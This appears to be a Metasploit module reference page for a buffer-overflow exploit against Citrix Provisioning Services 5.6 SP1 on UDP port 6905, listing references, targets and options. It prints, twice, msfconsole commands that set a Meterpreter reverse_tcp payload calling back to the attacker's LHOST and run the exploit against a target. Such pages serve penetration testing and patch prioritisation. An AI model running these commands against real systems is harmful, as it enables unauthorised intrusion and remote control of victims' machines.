Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow
This module exploits a remote buffer overflow in the Citrix Provisioning Services 5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the 6905/UDP port. The module has been successfully tested on Windows Server 2003 SP2, Windows 7, and Windows XP SP3.
Exploit Rank
- Normal
Exploit Authors
- AbdulAziz Hariri < >
- alino < 26alino [at] gmail.com >
Vulnerability References
- OSVDB-75780
- BID-49803
- http://www.zerodayinitiative.com/advisories/ZDI-12-009
- http://support.citrix.com/article/CTX130846
Exploit Targets
- 0 - Citrix Provisioning Services 5.6 SP1 (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/misc/citrix_streamprocess_data_msg
msf exploit(citrix_streamprocess_data_msg) > show payloads
msf exploit(citrix_streamprocess_data_msg) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(citrix_streamprocess_data_msg) > set LHOST [MY IP ADDRESS]
msf exploit(citrix_streamprocess_data_msg) > set RHOST [TARGET IP]
msf exploit(citrix_streamprocess_data_msg) > exploit
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msf > use exploit/windows/misc/citrix_streamprocess_data_msg
msf exploit(citrix_streamprocess_data_msg) > show payloads
msf exploit(citrix_streamprocess_data_msg) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(citrix_streamprocess_data_msg) > set LHOST [MY IP ADDRESS]
msf exploit(citrix_streamprocess_data_msg) > set RHOST [TARGET IP]
msf exploit(citrix_streamprocess_data_msg) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 6905) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |